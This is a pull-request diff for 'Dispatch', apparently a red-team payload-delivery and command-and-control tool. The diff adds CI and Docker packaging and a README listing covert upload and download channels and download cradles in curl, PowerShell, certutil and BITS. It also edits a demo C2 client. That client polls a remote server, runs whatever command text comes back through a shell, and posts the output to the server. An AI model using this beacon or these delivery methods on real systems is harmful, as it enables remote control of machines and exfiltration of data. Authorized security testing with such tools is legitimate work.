Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 18 additions & 0 deletions .github/workflows/ruff.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
name: ruff

on:
push:
pull_request:

jobs:
ruff:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install ruff
run: pip install ruff
- name: Run ruff
run: ruff check .
12 changes: 12 additions & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
FROM python:3.12-slim

WORKDIR /app
COPY pyproject.toml README.md requirements.txt ./
COPY dispatch ./dispatch
COPY dispatch-server.py ./
RUN pip install --no-cache-dir .

EXPOSE 8080 8000
VOLUME ["/app/dispatch/data"]
ENTRYPOINT ["dispatch-server"]
CMD ["--http", "--bind-host", "0.0.0.0", "--admin-port", "8080", "--client-port", "8000"]
50 changes: 39 additions & 11 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,8 +13,10 @@ It provides a single platform for controlled payload delivery, access governance
- **Dual-interface architecture**: separate admin control plane & client delivery listener.
- **Identity and access control**: role-based permissions, multi-factor authentication, API access, & more
- **Payload and artifact management**: file aliases, & public/private/one-time access modes.
- **Routing and delivery options**: reverse proxy routing & covert upload channel.
- **Operator utilities**: cradle generation using various languages, & built-in file encryption.
- **Routing and delivery options**: reverse proxy routing, covert chunked upload, and covert chunked download.
- **Operator utilities**: cradle generation (curl, wget, Python, PowerShell, certutil, BITS, encoded PowerShell), & built-in file encryption.
- **Delivery governance**: per-file download caps, public/private/one-time access, and a live client-request feed.
- **Dual listeners**: the admin app and the client delivery app are separate Flask apps started on separate ports by `dispatch-server`.
- **Alerting and notifications**: event-driven alerts using Discord webhooks.

## Install
Expand All @@ -24,23 +26,49 @@ cd Dispatch
pip3 install -r requirements.txt
```

pipx / package install (console command `dispatch-server`):

```bash
pipx install .
dispatch-server --help
```

Docker:

```bash
docker compose up --build
```

The image listens on 8080 (admin) and 8000 (client) over HTTP. Persistent state is the `dispatch-data` volume.

## Run
```bash
# Start Dispatch Ssrver
# Start Dispatch. The script interface is OFF unless you opt in.
python3 dispatch-server.py

# Modify Dispatch default host & port options
python3 dispatch-server.py --bind-host 0.0.0.0 --admin-port 8443 --client-port 443
# HTTP is for labs only. Admin and client use different ports.
python3 dispatch-server.py --http --admin-port 8080 --client-port 8000

# Serve Dispatch over HTTP
python3 dispatch-server.py --http
# Enable the script interface and its scheduler
python3 dispatch-server.py --enable-script-interface

# Enable Debug logging
# Enable Debug logging (admin listener only)
python3 dispatch-server.py --debug

# Disable Script Runner console
python3 dispatch-server.py --disable-exec
```

`--disable-exec` was removed. The script interface is off by default; pass `--enable-script-interface` to turn it on.

## API keys

Send the user's key in the `X-Dispatch-Auth` header on the admin interface. The key uses that user's role.

- `GET /api/files/list` lists files the role can see. The payload is only `id`, `filename`, `alias`, `file_size`, `access`, `max_downloads`, and `download_count`. `GET /api/files/minimal-list` returns the same shape. `0` or a null `max_downloads` means unlimited.
- `POST /api/file/upload` uploads a file (Upload role or higher).
- `GET /file/get/alias/<alias>` downloads by alias.
- `GET /file/get/name/<filename>` downloads by filename.
- `GET /file/get/<id>` downloads by the file id.

The signed-in file page uses `GET /api/files/listing`, which requires a session cookie and is not available to an API key. That response includes the extra fields the admin UI needs, such as paths and uploader names.

## Disclaimer
Dispatch is intended only for authorized security testing and sanctioned operations. Do not use it against systems without explicit permission.
10 changes: 6 additions & 4 deletions c2_demo/client.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,8 @@

def register(server_url):
try:
requests.post(f"{server_url}/register", data="hi", verify=False)
# Demo client talks to the self-signed Dispatch listener.
requests.post(f"{server_url}/register", data="hi", verify=False, timeout=10) # noqa: S501
print("[*] Registered with server.")
except Exception as e:
print("Failed to register:", e)
Expand All @@ -18,7 +19,7 @@ def register(server_url):
def poll(server_url, interval=0):
while True:
try:
r = requests.get(f"{server_url}/data", verify=False)
r = requests.get(f"{server_url}/data", verify=False, timeout=10) # noqa: S501
cmd = r.text.strip()

if cmd:
Expand All @@ -30,11 +31,12 @@ def poll(server_url, interval=0):
return

try:
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
# Demo client runs the command text returned by the server.
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) # noqa: S602
except subprocess.CalledProcessError as e:
output = e.output

requests.post(f"{server_url}/data", data=output.decode(), verify=False)
requests.post(f"{server_url}/data", data=output.decode(), verify=False, timeout=10) # noqa: S501

except Exception as e:
print("[!] Error polling server:", e)
Expand Down
7 changes: 4 additions & 3 deletions c2_demo/server.py
Original file line number Diff line number Diff line change
Expand Up @@ -96,7 +96,7 @@ def default(self, line):

def do_bg(self, arg):
"""Return to main server prompt"""
print(f"[~] Returning to main menu.")
print("[~] Returning to main menu.")
return True


Expand All @@ -111,11 +111,12 @@ def start_server(host, port):

if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Start HTTPS command server.")
parser.add_argument('--host', default='0.0.0.0', help='Bind address (default: 0.0.0.0)')
# Demo listener bind; operators can pass --host.
parser.add_argument('--host', default='0.0.0.0', help='Bind address (default: 0.0.0.0)') # noqa: S104
parser.add_argument('--port', type=int, default=8443, help='Port to bind (default: 8443)')
args = parser.parse_args()

print(f"\n[+] Starting Dispatch demo C2")
print("\n[+] Starting Dispatch demo C2")
threading.Thread(target=start_server, args=(args.host, args.port), daemon=True).start()
sleep(0.5)
ServerShell().cmdloop()
Loading
Loading